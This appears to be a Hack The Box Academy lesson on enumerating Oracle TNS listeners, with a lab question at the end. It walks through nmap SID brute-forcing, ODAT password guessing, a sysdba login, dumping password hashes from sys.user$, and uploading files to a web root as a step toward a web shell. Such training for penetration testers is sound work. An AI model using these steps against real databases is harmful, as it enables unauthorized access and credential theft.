Oracle TNS

The `Oracle Transparent Network Substrate` (`TNS`) server is a communication protocol that facilitates communication between Oracle databases and applications over networks. Initially introduced as part of the Oracle Net Services software suite, TNS supports various networking protocols between Oracle databases and client applications, such as `IPX/SPX` and `TCP/IP` protocol stacks. As a result, it has become a preferred solution for managing large, complex databases in the healthcare, finance, and retail industries. In addition, its built-in encryption mechanism ensures the security of data transmitted, making it an ideal solution for enterprise environments where data security is paramount.

Over time, TNS has been updated to support newer technologies, including `IPv6` and `SSL/TLS` encryption which makes it more suitable for the following purposes:

Name resolution	Connection management	Load balancing	Security

Furthermore, it enables encryption between client and server communication through an additional layer of security over the TCP/IP protocol layer. This feature helps secure the database architecture from unauthorized access or attacks that attempt to compromise the data on the network traffic. Besides, it provides advanced tools and capabilities for database administrators and developers since it offers comprehensive performance monitoring and analysis tools, error reporting and logging capabilities, workload management, and fault tolerance through database services.

Default Configuration

The default configuration of the Oracle TNS server varies depending on the version and edition of Oracle software installed. However, some common settings are usually configured by default in Oracle TNS. By default, the listener listens for incoming connections on the `TCP/1521` port. However, this default port can be changed during installation or later in the configuration file. The TNS listener is configured to support various network protocols, including `TCP/IP`, `UDP`, `IPX/SPX`, and `AppleTalk`. The listener can also support multiple network interfaces and listen on specific IP addresses or all available network interfaces. By default, Oracle TNS can be remotely managed in `Oracle 8i`/`9i` but not in Oracle 10g/11g.

The default configuration of the TNS listener also includes a few basic security features. For example, the listener will only accept connections from authorized hosts and perform basic authentication using a combination of hostnames, IP addresses, and usernames and passwords. Additionally, the listener will use Oracle Net Services to encrypt the communication between the client and the server. The configuration files for Oracle TNS are called `tnsnames.ora` and `listener.ora` and are typically located in the `ORACLE_HOME/network/admin` directory. The plain text file contains configuration information for Oracle database instances and other network services that use the TNS protocol.

Oracle TNS is often used with other Oracle services like Oracle DBSNMP, Oracle Databases, Oracle Application Server, Oracle Enterprise Manager, Oracle Fusion Middleware, web servers, and many more. There have been made many changes for the default installation of Oracle services. For example, Oracle 9 has a default password, `CHANGE_ON_INSTALL`, whereas Oracle 10 has no default password set. The Oracle DBSNMP service also uses a default password, `dbsnmp` that we should remember when we come across this one. Another example would be that many organizations still use the `finger` service together with Oracle, which can put Oracle's service at risk and make it vulnerable when we have the required knowledge of a home directory.

Each database or service has a unique entry in the tnsnames.ora file, containing the necessary information for clients to connect to the service. The entry consists of a name for the service, the network location of the service, and the database or service name that clients should use when connecting to the service. For example, a simple `tnsnames.ora` file might look like this:

Tnsnames.ora

Code: txt

```
ORCL =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = 10.129.11.102)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = orcl)
    )
  )
```

Here we can see a service called `ORCL`, which is listening on port `TCP/1521` on the IP address `10.129.11.102`. Clients should use the service name `orcl` when connecting to the service. However, the tnsnames.ora file can contain many such entries for different databases and services. The entries can also include additional information, such as authentication details, connection pooling settings, and load balancing configurations.

On the other hand, the `listener.ora` file is a server-side configuration file that defines the listener process's properties and parameters, which is responsible for receiving incoming client requests and forwarding them to the appropriate Oracle database instance.

Listener.ora

Code: txt

```
SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = PDB1)
      (ORACLE_HOME = C:\oracle\product\19.0.0\dbhome_1)
      (GLOBAL_DBNAME = PDB1)
      (SID_DIRECTORY_LIST =
        (SID_DIRECTORY =
          (DIRECTORY_TYPE = TNS_ADMIN)
          (DIRECTORY = C:\oracle\product\19.0.0\dbhome_1\network\admin)
        )
      )
    )
  )

LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = orcl.inlanefreight.htb)(PORT = 1521))
      (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1521))
    )
  )

ADR_BASE_LISTENER = C:\oracle
```

In short, the client-side Oracle Net Services software uses the `tnsnames.ora` file to resolve service names to network addresses, while the listener process uses the `listener.ora` file to determine the services it should listen to and the behavior of the listener.

Oracle databases can be protected by using so-called PL/SQL Exclusion List (`PlsqlExclusionList`). It is a user-created text file that needs to be placed in the `$ORACLE_HOME/sqldeveloper` directory, and it contains the names of PL/SQL packages or types that should be excluded from execution. Once the PL/SQL Exclusion List file is created, it can be loaded into the database instance. It serves as a blacklist that cannot be accessed through the Oracle Application Server.

Setting	Description
DESCRIPTION	A descriptor that provides a name for the database and its connection type.
ADDRESS	The network address of the database, which includes the hostname and port number.
PROTOCOL	The network protocol used for communication with the server
PORT	The port number used for communication with the server
CONNECT_DATA	Specifies the attributes of the connection, such as the service name or SID, protocol, and database instance identifier.
INSTANCE_NAME	The name of the database instance the client wants to connect.
SERVICE_NAME	The name of the service that the client wants to connect to.
SERVER	The type of server used for the database connection, such as dedicated or shared.
USER	The username used to authenticate with the database server.
PASSWORD	The password used to authenticate with the database server.
SECURITY	The type of security for the connection.
VALIDATE_CERT	Whether to validate the certificate using SSL/TLS.
SSL_VERSION	The version of SSL/TLS to use for the connection.
CONNECT_TIMEOUT	The time limit in seconds for the client to establish a connection to the database.
RECEIVE_TIMEOUT	The time limit in seconds for the client to receive a response from the database.
SEND_TIMEOUT	The time limit in seconds for the client to send a request to the database.
SQLNET.EXPIRE_TIME	The time limit in seconds for the client to detect a connection has failed.
TRACE_LEVEL	The level of tracing for the database connection.
TRACE_DIRECTORY	The directory where the trace files are stored.
TRACE_FILE_NAME	The name of the trace file.
LOG_FILE	The file where the log information is stored.

Before we can enumerate the TNS listener and interact with it, we need to download a few packages and tools for our `Pwnbox` instance in case it does not have these already. Here is a Bash script that does all of that:

Oracle-Tools-setup.sh

Code: bash

```bash
#!/bin/bash

sudo apt-get install libaio1 python3-dev alien python3-pip -y
git clone https://github.com/quentinhardy/odat.git
cd odat/
git submodule init
git submodule update
sudo apt install oracle-instantclient-basic oracle-instantclient-devel oracle-instantclient-sqlplus -y
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor pycryptodome passlib python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
```

After that, we can try to determine if the installation was successful by running the following command:

Testing ODAT

Testing ODAT

```
dbcyph0n@htb[/htb]$ ./odat.py -h

usage: odat.py [-h] [--version]
               {all,tnscmd,tnspoison,sidguesser,snguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,exter
               ...

             _  __   _  ___
            / \|  \ / \|_ _|
           ( o ) o ) o || |
            \_/|__/|_n_||_|
-------------------------------------------
  _        __           _           ___
 / \      |  \         / \         |_ _|
( o )       o )         o |         | |
 \_/racle |__/atabase |_n_|ttacking |_|ool
-------------------------------------------

By Quentin Hardy (quentin.hardy@protonmail.com or quentin.hardy@bt.com)
...SNIP...
```

Oracle Database Attacking Tool (`ODAT`) is an open-source penetration testing tool written in Python and designed to enumerate and exploit vulnerabilities in Oracle databases. It can be used to identify and exploit various security flaws in Oracle databases, including SQL injection, remote code execution, and privilege escalation.

Let's now use `nmap` to scan the default Oracle TNS listener port.

Nmap

Nmap

```
dbcyph0n@htb[/htb]$ sudo nmap -p1521 -sV 10.129.204.235 --open

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 10:59 EST
Nmap scan report for 10.129.204.235
Host is up (0.0041s latency).

PORT     STATE SERVICE    VERSION
1521/tcp open  oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds
```

We can see that the port is open, and the service is running. In Oracle RDBMS, a System Identifier (`SID`) is a unique name that identifies a particular database instance. It can have multiple instances, each with its own System ID. An instance is a set of processes and memory structures that interact to manage the database's data. When a client connects to an Oracle database, it specifies the database's `SID` along with its connection string. The client uses this SID to identify which database instance it wants to connect to. Suppose the client does not specify a SID. Then, the default value defined in the `tnsnames.ora` file is used.

The SIDs are an essential part of the connection process, as it identifies the specific instance of the database the client wants to connect to. If the client specifies an incorrect SID, the connection attempt will fail. Database administrators can use the SID to monitor and manage the individual instances of a database. For example, they can start, stop, or restart an instance, adjust its memory allocation or other configuration parameters, and monitor its performance using tools like Oracle Enterprise Manager.

There are various ways to enumerate, or better said, guess SIDs. Therefore we can use tools like `nmap`, `hydra`, `odat`, and others. Let us use `nmap` first.

Nmap - SID Bruteforcing

Nmap - SID Bruteforcing

```
dbcyph0n@htb[/htb]$ sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 11:01 EST
Nmap scan report for 10.129.204.235
Host is up (0.0044s latency).

PORT     STATE SERVICE    VERSION
1521/tcp open  oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
| oracle-sid-brute:
|_  XE

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.40 seconds
```

We can use the `odat.py` tool to perform a variety of scans to enumerate and gather information about the Oracle database services and its components. Those scans can retrieve database names, versions, running processes, user accounts, vulnerabilities, misconfigurations, etc. Let us use the `all` option and try all modules of the `odat.py` tool.

ODAT

ODAT

```
dbcyph0n@htb[/htb]$ ./odat.py all -s 10.129.204.235

[+] Checking if target 10.129.204.235:1521 is well configured for a connection...
[+] According to a test, the TNS listener 10.129.204.235:1521 is well configured. Continue...

...SNIP...

[!] Notice: 'mdsys' account is locked, so skipping this username for password           #####################| ET
[!] Notice: 'oracle_ocm' account is locked, so skipping this username for password       #####################| E
[!] Notice: 'outln' account is locked, so skipping this username for password           #####################| ET
[+] Valid credentials found: scott/tiger. Continue...

...SNIP...
```

In this example, we found valid credentials for the user `scott` and his password `tiger`. After that, we can use the tool `sqlplus` to connect to the Oracle database and interact with it.

SQLplus - Log In

SQLplus - Log In

```
dbcyph0n@htb[/htb]$ sqlplus scott/tiger@10.129.204.235/XE

SQL*Plus: Release 21.0.0.0.0 - Production on Mon Mar 6 11:19:21 2023
Version 21.4.0.0.0

Copyright (c) 1982, 2021, Oracle. All rights reserved.

ERROR:
ORA-28002: the password will expire within 7 days



Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

SQL>
```

If you come across the following error `sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory`, please execute the below, taken from here.

SQLplus - Log In

```
/htb]$ sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldcon
```

There are many SQLplus commands that we can use to enumerate the database manually. For example, we can list all available tables in the current database or show us the privileges of the current user like the following:

Oracle RDBMS - Interaction

Oracle RDBMS - Interaction

```
SQL> select table_name from all_tables;

TABLE_NAME
------------------------------
DUAL
SYSTEM_PRIVILEGE_MAP
TABLE_PRIVILEGE_MAP
STMT_AUDIT_OPTION_MAP
AUDIT_ACTIONS
WRR$_REPLAY_CALL_FILTER
HS_BULKLOAD_VIEW_OBJ
HS$_PARALLEL_METADATA
HS_PARTITION_COL_NAME
HS_PARTITION_COL_TYPE
HELP

...SNIP...


SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT                          CONNECT                        NO  YES NO
SCOTT                          RESOURCE                       NO  YES NO
```

Here, the user `scott` has no administrative privileges. However, we can try using this account to log in as the System Database Admin (`sysdba`), giving us higher privileges. This is possible when the user `scott` has the appropriate privileges typically granted by the database administrator or used by the administrator him/herself.

Oracle RDBMS - Database Enumeration

Oracle RDBMS - Database Enumeration

```
dbcyph0n@htb[/htb]$ sqlplus scott/tiger@10.129.204.235/XE as sysdba

SQL*Plus: Release 21.0.0.0.0 - Production on Mon Mar 6 11:32:58 2023
Version 21.4.0.0.0

Copyright (c) 1982, 2021, Oracle. All rights reserved.


Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production


SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SYS                            ADM_PARALLEL_EXECUTE_TASK      YES YES NO
SYS                            APEX_ADMINISTRATOR_ROLE        YES YES NO
SYS                            AQ_ADMINISTRATOR_ROLE          YES YES NO
SYS                            AQ_USER_ROLE                   YES YES NO
SYS                            AUTHENTICATEDUSER              YES YES NO
SYS                            CONNECT                        YES YES NO
SYS                            CTXAPP                         YES YES NO
SYS                            DATAPUMP_EXP_FULL_DATABASE     YES YES NO
SYS                            DATAPUMP_IMP_FULL_DATABASE     YES YES NO
SYS                            DBA                            YES YES NO
SYS                            DBFS_ROLE                      YES YES NO

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SYS                            DELETE_CATALOG_ROLE            YES YES NO
SYS                            EXECUTE_CATALOG_ROLE           YES YES NO
...SNIP...
```

We can follow many approaches once we get access to an Oracle database. It highly depends on the information we have and the entire setup. However, we can not add new users or make any modifications. From this point, we could retrieve the password hashes from the `sys.user$` and try to crack them offline. The query for this would look like the following:

Oracle RDBMS - Extract Password Hashes

Oracle RDBMS - Extract Password Hashes

```
SQL> select name, password from sys.user$;

NAME                           PASSWORD
------------------------------ ------------------------------
SYS                            FBA343E7D6C8BC9D
PUBLIC
CONNECT
RESOURCE
DBA
SYSTEM                         B5073FE1DE351687
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
OUTLN                          4A3BA55E08595C81
EXP_FULL_DATABASE

NAME                           PASSWORD
------------------------------ ------------------------------
IMP_FULL_DATABASE
LOGSTDBY_ADMINISTRATOR
...SNIP...
```

Another option is to upload a web shell to the target. However, this requires the server to run a web server, and we need to know the exact location of the root directory for the webserver. Nevertheless, if we know what type of system we are dealing with, we can try the default paths, which are:

OS	Path
Linux	`/var/www/html`
Windows	`C:\inetpub\wwwroot`

First, trying our exploitation approach with files that do not look dangerous for Antivirus or Intrusion detection/prevention systems is always important. Therefore, we create a text file with a string and use it to upload to the target system.

Oracle RDBMS - File Upload

Oracle RDBMS - File Upload

```
dbcyph0n@htb[/htb]$ echo "Oracle File Upload Test" > testing.txt
dbcyph0n@htb[/htb]$ ./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\w

[1] (10.129.204.235:1521): Put the ./testing.txt local file in the C:\inetpub\wwwroot folder like testing.txt on
[+] The ./testing.txt file was created on the C:\inetpub\wwwroot directory on the 10.129.204.235 server like the
```

Finally, we can test if the file upload approach worked with `curl`. Therefore, we will use a `GET http://<IP>` request, or we can visit via browser.

Oracle RDBMS - File Upload

```
dbcyph0n@htb[/htb]$ curl -X GET http://10.129.204.235/testing.txt

Oracle File Upload Test
```

Start Instance

∞ / 1 spawns left

Waiting to start..

Questions

Cheat Sheet

Download VPN Connection File

Answer the question(s) below to complete this Section and earn cubes!

Target: 10.129.205.19

Life Left: 117 minutes

+ 0 Enumerate the target Oracle database and submit the password hash of the user DBSNMP as the answer.

Submit your answer here...

Submit

Previous Next

Cheat Sheet

Resources

Go to Questions

Table of Contents

Cloud Resources

Staff

Host Based Enumeration

- FTP
- SMB
- NFS
- DNS
- SMTP
- IMAP / POP3
- SNMP
- MySQL
- MSSQL
- Oracle TNS
- IPMI

Remote Management Protocols

Linux Remote Management Protocols

Windows Remote Management Protocols

Skills Assessment

- Footprinting Lab - Easy
- Footprinting Lab - Medium
- Footprinting Lab - Hard

My Workstation

OFFLINE

Start Instance

∞ / 1 spawns left